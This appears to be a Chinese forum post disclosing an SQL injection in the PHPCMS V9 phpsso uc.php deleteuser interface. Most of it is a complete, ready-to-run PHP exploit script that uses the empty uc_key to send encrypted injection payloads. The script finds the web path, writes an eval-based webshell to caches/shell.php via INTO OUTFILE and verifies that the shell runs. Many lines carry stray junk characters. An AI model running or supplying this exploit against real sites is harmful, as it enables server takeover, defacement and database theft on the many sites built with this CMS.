PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
/ c5 K$ w& v% b) [9 E ]) L' c% n! h1 a h: s
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
7 f, G* q3 z% T# R8 \/ p' ~! S+ a* p9 s
漏洞分析: U* p. p$ D3 |/ _! g% e8 {
1.未启用ucenter服务的情况下uc_key为空
% Q; I! \# p6 F: N( ?/ D2 ?, w% I5 Y* Ldefine('UC_KEY', pc_base::load_config('system', 'uc_key'));. n% @& p$ ~4 w8 @
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。6 U: t" j; s2 k6 v
public function deleteuser($get,$post) {
6 G! p( o! F) E. X pc_base::load_app_func('global', 'admin');6 @+ R ?: g8 F$ C% E: n+ R- A+ ^
pc_base::load_app_class('messagequeue', 'admin' , 0);! t; M% N2 F- ]) b8 T6 Y- G
$ids = new_stripslashes($get['ids']);* R. r# p/ U' e; G6 \6 ~- f4 X
$s = $this->member_db->select("ucuserid in ($ids)", "uid");0 W& W2 E/ s9 S8 [6 X* H
SQL语句为% X6 k* p$ q5 p3 t& p
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)& p. n% x1 ?7 n/ E. ?
/ g- x: s4 d. R% g, @/ \利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
" r. [1 a; z/ J$ |( b% h<?php
1 \/ V) b- r( s, Q' {print_r('
4 g) y( Y% O5 F. ]& G---------------------------------------------------------------------------; L: ?5 I' e8 S
PHPcms (v9 or Old Version) uc api sql injection 0day9 [5 E6 j: _, b5 ]# D7 R2 A
by rayh4c#80sec.com
# a9 c# @: g# C3 o; {! ]8 F* q---------------------------------------------------------------------------
! \. h0 `3 F& L) X2 L- [');8 b* J! w6 ?' e0 q8 l8 g* t3 j) o3 ^
0 Z$ ~ a3 Y+ s9 R1 Z. ^if ($argc<3) {' R! B* d, H5 f
print_r('4 z9 q! F! Z* Y0 [7 D
---------------------------------------------------------------------------; t1 T2 K2 J: I8 _! B5 y( F& z% l- X# F
Usage: php '.$argv[0].' host path OPTIONS
) O- S4 D3 V" g0 rhost: target server (ip/hostname)4 i6 `) u1 F' U$ P% m
path: path to phpcms- m. h" D8 m) Q X$ r8 q+ b; F
Options:
3 w+ y+ y$ y0 V3 G9 F -p[port]: specify a port other than 80
5 ~6 p6 i6 `7 n -P[ip:port]: specify a proxy' D' c B& B7 _
Example:0 M7 I% R2 o4 i4 @. }' a
php '.$argv[0].' localhost /
/ G/ L! y- v! n8 v9 ~# H( tphp '.$argv[0].' localhost /phpcms/ -p81* y- n$ _7 s# |3 \+ A1 ]' S2 I
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
& E1 j- E4 K% T9 Z---------------------------------------------------------------------------6 W3 K- o: f& W" _; k, L# N
');
9 @1 i- t% O) c/ b: p1 ~ die;& R B2 c. c) Q6 f! H' n
}3 W- `2 ^8 [9 e. B4 K% E
, I; T3 [1 P" a- R: z" terror_reporting(7);% ~' g. V5 R, G" {4 O
ini_set("max_execution_time",0);
% ~* Q3 _& C% t v. Vini_set("default_socket_timeout",5);
, ?4 }8 e5 z; E* K- C j4 U$ P& H# h0 z/ y" g% b, F3 J! p- f' V
function quick_dump($string)7 F# n5 g9 S7 Z
{
' k9 X3 A8 S/ e" N. l g6 D, } $result='';$exa='';$cont=0;
. L. {9 F2 e: ~2 c6 ` for ($i=0; $i<=strlen($string)-1; $i++)- _' ]5 R0 Y6 q# A. z% L/ w
{) _/ ~6 L X. z( H0 F
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))6 C& e8 q. G6 r% t* F4 L# l8 x. a( c
{$result.=" .";}
2 N# K4 `! y# ` else
( m) u' D) [8 y* ^ {$result.=" ".$string[$i];}
% g0 H. F. i/ X% s. e7 B if (strlen(dechex(ord($string[$i])))==2)
* [' s9 _( S r8 m5 [9 b {$exa.=" ".dechex(ord($string[$i]));}
( Y) a6 D* }# e% J: s else4 z5 d$ s, j. T4 S% u
{$exa.=" 0".dechex(ord($string[$i]));}
1 L% T2 I& c _' @) I+ x$ b $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}$ p+ p4 T; \7 ]. X
}+ T' u5 U! Y4 f: G2 R
return $exa."\r\n".$result;) G( x" A6 g5 r5 B( n# |/ _9 N+ T( P
}6 H8 p; i# }' H. ?, c( u- W
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';( ]$ c1 { d- x
* [* A' c! x& D+ Cfunction send($packet)9 u& o5 @8 Q0 R+ J+ z& q1 N% Y
{ m0 d X- }- N6 s# r/ x" u
global $proxy, $host, $port, $html, $proxy_regex;
" r; N4 t4 S$ a" s5 H' L" [4 Y0 ^ if ($proxy=='') {% k: n. k0 @: A, k
$ock=fsockopen(gethostbyname($host),$port);7 h2 q7 g6 w7 z4 o p( a
if (!$ock) {' L1 w+ R) c4 Y' G
echo 'No response from '.$host.':'.$port; die;
4 {6 ~ v' F& P( r9 [2 H! i }) d0 \# {4 z5 H/ B: o" F& D
}
. z8 Y. H: Z6 E9 e; L+ ~ else {1 a( V v0 _3 I
$c = preg_match($proxy_regex,$proxy);
/ ~- ~ U! f8 j" d1 B3 D if (!$c) {
# r* t% N, v6 u0 g' H( c echo 'Not a valid proxy...';die;
; c5 a" G3 l+ p4 {* U6 Z# d }
! n, m7 _% t3 G2 l# o% L $parts=explode(':',$proxy);* U6 I( j$ X; E: j
$parts[1]=(int)$parts[1];, z, T( e4 T: q" b: t$ z& i
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";) Q: ?+ e( e1 F; J
$ock=fsockopen($parts[0],$parts[1]);1 D( v8 }% o8 ~- F! q# K& I
if (!$ock) {
. @+ l1 s" x; A5 f! C echo 'No response from proxy...';die;
# _4 g# f6 I+ J4 x }1 z+ N) y/ s5 Z
}# {! J& h7 f% K1 O% X5 e) c
fputs($ock,$packet);5 m' ~7 u# \8 l
if ($proxy=='') {
1 Q% Q& Z# n- p6 ~* _; Z3 Z7 m $html='';4 F3 M3 W2 Y, b) ], z7 k+ Z
while (!feof($ock)) {
+ B: W, i! }6 D6 B6 G0 P# N/ W* ~ $html.=fgets($ock);, a$ }; I* B) _3 }* s! L
}
: F' T3 D1 V V" d3 ? }& g* E" K x& r( O4 E( R
else {
7 o/ S. O& v3 J% q: e- g5 p' l $html='';+ |+ Z) ~ h) m3 A2 w
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
* ]( d2 t+ K( O- y; r: Z $html.=fread($ock,1); ]( ~- B% K$ s" A
}
3 _$ \- G9 w" y" D }
: f* O+ Q' g" ?3 S0 e fclose($ock);5 k# d# D2 _* g
}
+ X" U3 \& G4 v% @) U' b
1 Q, O! O: Z7 |# Y' m$host=$argv[1];
s* K7 J3 o2 N6 c4 f4 w$path=$argv[2];4 \: L0 \5 p2 w: K
$port=80;
+ j+ j# K8 F) C$proxy="";
* V- i7 D$ B% M; efor ($i=3; $i<$argc; $i++){/ X# z% R1 p8 ]
$temp=$argv[$i][0].$argv[$i][1];
( j. K: d8 p9 g! s; f8 {! R3 Aif ($temp=="-p")
( b9 y7 t8 z) B' Z* m8 p{
% D- f& E" I& k" m3 c4 [* O& S8 w $port=(int)str_replace("-p","",$argv[$i]);' }- z3 e* O3 E7 {0 s) `8 T+ \
}
$ T1 B% _5 f" H: m9 aif ($temp=="-P")/ G% l, n8 V; L( a
{, J/ `- @0 n+ V9 | S/ v; p
$proxy=str_replace("-P","",$argv[$i]);) F3 d4 e' D9 d1 z9 x
}
. v$ t& ]7 H3 i}
N& A/ m, N0 u& y- ~1 m
$ F* {; Z$ I; l: iif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}2 Z( `/ Y; S8 u* z. A% Z
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
8 @$ ~9 u; `$ U R( h6 r9 D
, [, X. p9 C( R7 N, F6 N' Afunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {7 r1 V' q; z- X5 [1 [; |8 {# z, Z& ~
' @2 u, [2 l# @5 V4 C/ r6 _
$ckey_length = 4;& S" C1 H* n. a$ e! }
. Z) M" [4 H; Q* O3 H1 X6 G $key = md5($key ? $key : '');
. J+ `+ g( k+ }( C$ ?6 g' J $keya = md5(substr($key, 0, 16));# E+ C' n; `$ `8 L
$keyb = md5(substr($key, 16, 16));" x0 V' f' D- |; Q2 V- g3 ?5 U
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';4 P6 O, w5 h# p% n7 g/ @. T
2 m: e, d4 c' y4 {/ V- M3 K
$cryptkey = $keya.md5($keya.$keyc);8 I) u6 n' Y- r$ p! ~* Q
$key_length = strlen($cryptkey);7 r# {: {) ?' D& i& q3 i) k
6 [ t3 E" @5 ]3 t( \+ \2 ^) o# n $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;5 \7 f2 b) e6 u
$string_length = strlen($string);
! V, [( q& y) ~6 D# J
6 W$ U: V9 m6 A, q $result = '';
8 i$ a7 H7 b6 s ~/ Z, B b' l- Z $box = range(0, 255);
# V% f$ p7 @( Y! F8 [, v4 s9 j. E+ G
, H' [6 L& t0 p% U4 c/ [ $rndkey = array();
! U. V) ?. O* i# `) }- u4 |2 j for($i = 0; $i <= 255; $i++) {
3 H3 m& j* ]5 j' o3 v, h $rndkey[$i] = ord($cryptkey[$i % $key_length]);- _ Q% R% K% y. O1 t( e. }. _8 I
}
5 ^) |5 A: O5 O- h7 \* B1 V* p3 E# X) j0 y/ n
for($j = $i = 0; $i < 256; $i++) {
e* p: N9 d) _/ c $j = ($j + $box[$i] + $rndkey[$i]) % 256;
+ T( a5 H* o& g4 O6 J1 g F' F $tmp = $box[$i];! n$ ^; S) l3 J3 h: g
$box[$i] = $box[$j];
! A( W- Q2 D9 s$ H: Y $box[$j] = $tmp;
* Y! [ ]+ f$ G1 v. I z6 O. G7 x }4 H) Y4 a1 @# l; }7 d
, [: |# x0 f1 V3 H9 k2 S
for($a = $j = $i = 0; $i < $string_length; $i++) {0 L5 \5 G: i. S) f, k
$a = ($a + 1) % 256;
- \; F6 }6 ~8 b" F! N5 i& l) q $j = ($j + $box[$a]) % 256;2 b2 W: J8 F& x% p% ?( S
$tmp = $box[$a];1 Z W# g1 v. o
$box[$a] = $box[$j];
' f9 s- h0 I! D2 o6 r! m $box[$j] = $tmp;
* h) z6 h+ w) l% A: O3 t" \- ?& b3 } $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));% |' }& ] R \! V: J* D" @0 L
}
" B9 r6 b4 ~0 l- Z$ n+ d: d5 L
; y# i R- Z3 c: a1 b if($operation == 'DECODE') {3 R, t" [2 ~! w! ^
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {: G6 e$ q- O5 i5 M4 g
return substr($result, 26);4 Q6 }0 D% y+ \7 L1 X! g
} else {
5 M q) g+ N" M return '';; q, W3 E% c! j8 ~
}
& L. b4 E% |- D/ N3 K, \; ^. Y } else {
+ ^7 [7 ^4 G" h4 Y8 t0 }, R" F return $keyc.str_replace('=', '', base64_encode($result));, t8 D6 w1 W% G7 y. W7 g: o1 D
}( [+ @: `4 h! f1 m
6 f5 r- ]( ^2 |% j* ~
}& X+ j/ d0 p( t' ?1 Q) |
& v7 u9 n+ K1 r% {$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
3 u8 U1 Y* r4 M }9 ~% E | N `# c$SQL = urlencode(authcode($SQL, "ENCODE", ""));
! Y0 ?3 T: c' g9 Techo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
' I3 m: k- U. m, x! K, y) W/ E4 `$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";4 }/ u( c, f5 ]( d: q( d
$packet.="User-Agent: Mozilla/5.0\r\n";
0 m8 C u V1 x' Q0 n+ U1 \" M/ V$packet.="Host: ".$host."\r\n";
, ^+ d1 l1 j! p, D& W- S( g$packet.="Connection: Close\r\n\r\n";5 c0 t2 k+ d% E r0 D* `/ _6 F, Z) @
send($packet);1 _ e- Z M8 v; l( ], C
if(strpos($html,"MySQL Errno") > 0){
4 c* }7 m- z4 ^6 U# G# necho "[2] 发现存在SQL注入漏洞"."\n";
2 B; i: V( s) @' Becho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
/ f9 q+ Z; t% e- { t s8 S+ Q$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";/ Q/ a) h, i# i) a
$packet.="User-Agent: Mozilla/5.0\r\n";
1 h4 b* F( F- f2 H+ O; }% C/ d0 m$packet.="Host: ".$host."\r\n";
' ^7 ?( k9 [% Z" }9 I$packet.="Connection: Close\r\n\r\n";
6 a' h5 q B- e! s3 u& ^/ y$ \8 msend($packet);
8 [# a) Q1 q% t7 o) ^ g8 vpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);. Y: z" D6 O! D, r4 o# i8 D
//print_r($matches);# N4 a8 S: o3 P5 u: i+ q
if(!empty($matches)){5 w- a* }+ o1 ^9 F+ B; U( |. E
echo "[4] 得到web路径 " . $matches[0]."\n";
3 {* X: d M( x1 e2 J0 n; O& A7 necho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";% I6 Y/ d8 P: J7 J' C
$SQL = "time=999999999999999999999999&ids=1)";
7 x) @& C! f/ @9 _. g$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
! j0 p( E' z( }# A$SQL.="&action=deleteuser";0 e3 y; P2 J2 _" b V
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
2 l0 l6 ~2 \- E* T- uecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
9 f' ~' G$ L6 ^! Y$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
7 L$ T( j( k. k% C& v$packet.="User-Agent: Mozilla/5.0\r\n";
8 }# p/ ~* B% f" t1 p F1 ?0 W$packet.="Host: ".$host."\r\n";
" Q, l8 f9 j4 R. f$packet.="Connection: Close\r\n\r\n";
6 ~/ d( v# O+ N8 }send($packet);
" z$ N$ j. R( R' t7 F6 y: F$ Bif(strpos($html,"Access denied") > 0){) f+ {, i- w @9 h% p( {
echo "[-] MYSQL权限过低 禁止写入文件 "; ?0 _1 O2 I0 Z' A7 u5 W
die;7 @' p2 r* @! P; y* k
}+ s! |/ I) a5 d; N
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";' `) Y' s# j+ O# F/ D
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";4 P' a G# Y( Y1 F
$packet.="User-Agent: Mozilla/5.0\r\n";
0 o2 o6 z, |; n! d3 g8 F8 q& Y$packet.="Host: ".$host."\r\n";
! A" m5 i. e5 r( q) f0 c& B3 T$packet.="Connection: Close\r\n\r\n";4 f* E- O. C6 G0 ]% A
send($packet);
. y- u- J/ |* p5 W, j2 N/ H% gif(strpos($html,"<title>phpinfo()</title>") > 0){
; d* P& I$ Z2 Iecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";$ s) Y4 V7 c ^8 E
}
3 q) o# E4 T# m7 c. b9 x! k}else{( e$ t' z T# B
echo "[-]未取到web路径 ";
7 ]$ h6 e+ w1 `5 {}' K9 h2 X% V5 M1 ]7 l
}else{
+ c; g& {. m4 |; ]+ s/ wecho "[*]不存在SQL注入漏洞"."\n";" J% c+ T9 ]& ~8 k' L: i d- A5 z
}
) f+ p3 u9 z. M' i8 o- g+ R' c8 k F. l; e; G; }+ Z
?>
( H+ h/ Y7 C e1 y |